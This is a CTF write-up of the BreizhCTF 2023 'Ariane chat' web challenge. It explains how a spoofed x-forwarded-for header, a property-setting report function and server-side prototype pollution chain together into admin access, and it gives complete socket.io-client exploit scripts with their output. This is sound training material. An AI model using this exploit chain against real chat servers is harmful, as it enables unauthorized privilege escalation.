Ariane Chat - BreizhCTF Writeup
In this article, we will solve the second hardest web challenge of the BreizhCTF 2023. Ariane chat is a chat application based on a WebSocket/Socket.IO server. We have access to the backend source code of the challenge.
Description: Ariane chat offers a new online chat service. It is equipped with intelligent moderation, but it is struggling to gather funding.
TL;DR
The goal is to exploit a lack of access control in order to reach a function vulnerable to Server-Side Prototype Pollution (SSPP). Then, change the admin property to true to obtain an administrator account when creating a new user and retrieve the flag.
Overview
The chat application is based on Socket.IO, a library that enables real-time, bidirectional and event-based communication between the browser and the server using WebSockets.
The image below describes the file tree of the application’s source code.
The chat.gateway.ts
file defines the following Socket.IO listeners:
Functions |
Description |
Pre-requisites |
login |
Login as a Human with a username |
|
loginAsBot |
Login as a Bot with a username |
x-forwarded-for must be 127.0.0.1 |
loginAsAdmin |
Login as an Admin with a username and a password |
isAdmin must be true and not authenticated |
sendMessage |
Send a message to the chat (authorName and message parameters) |
Authenticated |
reportClient |
Report a username with a reason |
Authenticated as Bot |
banClient |
Ban a message with a reason |
Authenticated as Admin |
getBanList |
List of banned people |
Authenticated as Admin |
For example, there are the two functions/listeners to login as a Human and send a message to everyone in the chat:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
// ...
@UsePipes(new ValidationPipe())
@SubscribeMessage('login')
async loginAsHuman(@ConnectedSocket() socket: Socket, @MessageBody() body: LoginDto) {
const { username } = body;
const client = new Client(socket, ClientClass.HUMAN);
client.username = username;
this.chatService.addClient(socket.id, client);
}
// ...
@UsePipes(new ValidationPipe())
@SubscribeMessage('sendMessage')
async onChat(@ConnectedSocket() socket: Socket, @MessageBody('message') messageStr: string) {
const messageInstance = this.chatService.processMessage(socket.id, messageStr);
this.server.emit('onMessage', {
authorName: messageInstance.author,
message: messageInstance.content,
});
}
|
You can create a simple client using the library socket.io-client to send (emit
) and receive (on
) events from the server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import { io } from "socket.io-client";
const url = "ws://localhost:8888";
const human = io(url);
// ------------- RECV -------------------
human.on("onMessage", (...args) => {
console.log("RECV (onMessage):")
console.log(args);
});
// ------------- SEND -------------------
human.emit("login", {"username": "toto"});
human.emit("sendMessage", {
"authorName": "toto",
"message": "Hello world !"
});
|
In the example above, we logged as toto
and send the message Hello world !
. The server responds to us with the author’s name and message.
1
2
3
|
$ node client.mjs
RECV (onMessage):
[ { authorName: 'toto', message: 'Hello world !' } ]
|
The flag will be sent if we are able to log in as an admin. The loginAsAdmin
function does not verify the username and password, rather, we only need to pass the if (client.isAdmin)
condition to obtain the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
// ...
@UsePipes(new ValidationPipe())
@SubscribeMessage('loginAsAdmin')
async loginAsAdmin(@ConnectedSocket() socket: Socket, @MessageBody() body: LoginDto) {
if (!body.password) {
throw new WsException('A password is required to authenticate as admin');
}
if (this.chatService.getClientBySocket(socket.id)) {
throw new WsException('You are already logged in');
}
const client = new Client(socket, ClientClass.HUMAN);
client.username = body.username;
this.chatService.addClient(socket.id, client);
// TODO: Admin authentication
// if (crypto.createHash('sha512').update(body.password).digest('hex') === 'TODO') {
// client.isAdmin = true;
// }
if (client.isAdmin) {
socket.emit('onmessage', 'Welcome home admin, BZHCTF{}');
}
}
|
Within this section, we have outlined the functions of the chat application and identified the objective of the challenge.
Exploitation
SSPP (Server-Side Prototype Pollution) is a type of prototype pollution that operates on the server.
Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes, which may then be inherited by user-defined objects. What is prototype pollution?
Identify the SSPP
The function getCanceledPeople
from the moderation.service.ts
file is vulnerable to SSPP (Server-Side Prototype Pollution).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
export class ModerationService {
// ...
public getCanceledPeople(): {
[username: string]: {
[reason: string]: string;
};
} {
const list: {
[username: string]: {
[reason: string]: string;
};
} = {};
for (const [username, [message, reason]] of this.bannedUsers) {
if (!list[username]) {
list[username] = {};
}
list[username][message] = reason; // <-- SSPP
}
return list;
}
|
Since there are no restrictions on the variables, we have the ability to manipulate the values of username
, message
, and reason
. As a result, we can modify the default value of the isAdmin
property for an object to true
.
1
2
3
4
5
6
|
let username = "__proto__";
let message = "isAdmin";
let reason = "true"; // any string with length >= 1 to pass the condition
list[username][message] = reason
// list["__proto__"]["isAdmin"] = "true"
|
Since client.isAdmin
is initially undefined
, the prototype pollution will set the new default value of the isAdmin
property. To set up the SSPP, we must take the following steps:
- Register a Human named
__proto__
- Send the message
isAdmin
- Find a way to ban the message
isAdmin
with a reason to true
(covered in the next section)
In this section, we have found the main vulnerability of the challenge which is an SSPP (Server-Side Prototype Pollution). However, we cannot directly use it, this will be explain in the next section.
Trigger the SSPP
The vulnerable function getCanceledPeople
is only called by the getBanList
listener which is reserved for administrators.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
// ...
@SubscribeMessage('getBanList')
async getBanList(@ConnectedSocket() socket: Socket) {
const client = this.chatService.getClientBySocket(socket.id);
if (!client) {
throw new WsException('Not authenticated');
}
if (!client.isAdmin) {
throw new WsException('Only moderators are allowed to list banned people');
}
socket.emit('setBanList', this.moderationService.getCanceledPeople());
}
|
We have a problem! To become an administrator, we need to use the getCanceledPeople
function which is called by the getBanList
listener which is reserved for administrators. It seems to be rabbit hole but its not ! Why ? Because there is another vulnerability in the code.
In the sus
(suspicious) function we can modify a property of an authenticated client. For example, we can set client['isAdmin'] = 'suspicious';
. This will allow us to bypass the if (!client.isAdmin)
condition inside getBanList
. However we cannot bypass the if (client.isAdmin)
condition in loginAsAdmin
because this function require an unauthenticated client.
1
2
3
4
5
6
7
|
export class ModerationService {
// ...
public sus(client: Client, reason: SusReason) {
client[reason] = 'suspicious';
this.reportedUsers.add(client.username);
}
|
If we report a user with the reason
to isAdmin
. The reported client will be an adminstrator.
1
2
3
|
client["isAdmin"] = 'suspicious';
if (client.isAdmin) // will be true
|
To report a user, we must be a Bot
. The only condition to be a Bot
is to set the x-forwarded-for
to 127.0.0.1
, then use the loginAsBot
listener.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
export class ChatGateway implements OnGatewayConnection, OnGatewayDisconnect {
// ...
@UsePipes(new ValidationPipe())
@SubscribeMessage('loginAsBot')
async loginAsBot(@ConnectedSocket() socket: Socket, @MessageBody() body: LoginDto) {
const ip = [socket.handshake.headers['x-forwarded-for'], socket.handshake.address];
if (!ip.includes('127.0.0.1')) {
throw new WsException('Unauthorized');
}
const client = new Client(socket, ClientClass.BOT);
client.username = body.username;
this.chatService.addClient(socket.id, client);
}
// ...
@UsePipes(new ValidationPipe())
@SubscribeMessage('reportClient')
async reportClient(@ConnectedSocket() socket: Socket, @MessageBody() body: ReportClientDto) {
const { username, reason } = body;
// Authenticate client
const client = this.chatService.getClientBySocket(socket.id);
if (!client) {
throw new WsException('Not authenticated');
}
if (client.classType !== ClientClass.BOT) {
throw new WsException('Not a bot');
}
if (client.username === username) {
throw new WsException('You cannot report yourself');
}
const suspected = this.chatService.getClientByUsername(username);
if (suspected.classType === ClientClass.BOT || suspected.isAdmin) {
throw new WsException('You cannot report admins or bots');
}
if (!suspected) {
throw new WsException('This user does not exist');
}
this.moderationService.sus(suspected, reason);
}
|
So we can create a little PoC that will call the getBanList
function:
- Register a Human
- Register a Bot
- The Bot will report the Human with a reason
isAdmin
(so the Human will be an administrator)
- The Human (administrator) will call the
getBanList
function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
import { io } from "socket.io-client";
// const url = "ws://localhost:8888";
const url = "https://arianechat-3bb948c9ac36cf54.ctf.bzh/";
const human = io(url);
const bot = io(url, {
extraHeaders: {
"x-forwarded-for": "127.0.0.1"
}
});
// ------------- RECV -------------------
human.onAny((eventName, ...args) => {
console.log(`HUMAN RECV (${eventName}):`)
console.log(args);
});
bot.onAny((eventName, ...args) => {
console.log(`BOT RECV (${eventName}):`)
console.log(args);
});
// ------------- SEND -------------------
// Human that will be reported as suspicious to be an admin
// then call the getBanList function to trigger the SSPP
human.emit("login", {"username": "toto"});
// Bot that will report the Human
bot.emit("loginAsBot", {"username": "bot"});
setTimeout(() => {
// The Human is now admin, he can call the getBanList function
bot.emit("reportClient", {
"username": "toto",
"reason": "isAdmin"
});
setTimeout(() => {
// The Human triggers the SSPP
human.emit("getBanList");
}, 500);
}, 500)
|
After executing the script, we successfully call the getBanList
function which returns an empty array as expected since we have not banned any users yet.
1
2
3
|
$ node test.mjs
HUMAN RECV (setBanList):
[ {} ]
|
Final PoC
Having identified the SSPP and our ability to trigger it, we can merge the two steps above to construct the complete exploit chain. Here is a documented the PoC in Javascript:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
import { io } from "socket.io-client";
const url = "ws://localhost:8888";
const human = io(url);
const banUser = io(url);
const flagUser = io(url);
const bot = io(url, {
extraHeaders: {
"x-forwarded-for": "127.0.0.1"
}
});
// ------------- RECV -------------------
const users = {
"human": human,
"banUser": banUser,
"bot": bot,
"flagUser": flagUser
};
for (let key in users) {
let socket = users[key];
// Listen on all emitters
socket.onAny((eventName, ...args) => {
console.log(`${key} RECV (${eventName}):`)
console.log(args);
});
}
// ------------- SEND -------------------
const sleep = 1000;
// Human that will be reported as suspicious to be an admin
// then call the getBanList function to trigger the SSPP
human.emit("login", {"username": "toto"});
// Send the message that will be ban by the futur admin Human
banUser.emit("login", {"username": "__proto__"});
banUser.emit("sendMessage", {
"authorName": "__proto__",
"message": "isAdmin"
});
// Bot that will report the Human
bot.emit("loginAsBot", {"username": "bot"});
setTimeout(() => {
// The Human is now admin
// he can call banClient & getBanList functions
bot.emit("reportClient", {
"username": "toto",
"reason": "isAdmin"
});
setTimeout(() => {
// Prepare the SSPP
// list[username][message] = reason
// list[__proto__][isAdmin] = true
human.emit("banClient", {
"message": "isAdmin",
"reason": "true"
})
setTimeout(() => {
// The Human triggers the SSPP
human.emit("getBanList");
setTimeout(() => {
// Login as admin to get the flag
flagUser.emit("loginAsAdmin", {
"username": "whatever",
"password": "whatever"
});
}, sleep);
}, sleep);
}, sleep);
}, sleep);
|
There is the execution of the PoC :
1
2
3
4
5
6
7
8
9
10
11
12
13
|
$ node poc.mjs
human RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
banUser RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
flagUser RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
bot RECV (onMessage):
[ { authorName: '__proto__', message: 'isAdmin' } ]
human RECV (setBanList):
[ {} ]
flagUser RECV (onmessage):
[ 'Welcome home admin, BZHCTF{DontPutUserInputIntoYourKeys}' ]
|
And we get the flag BZHCTF{DontPutUserInputIntoYourKeys} !!!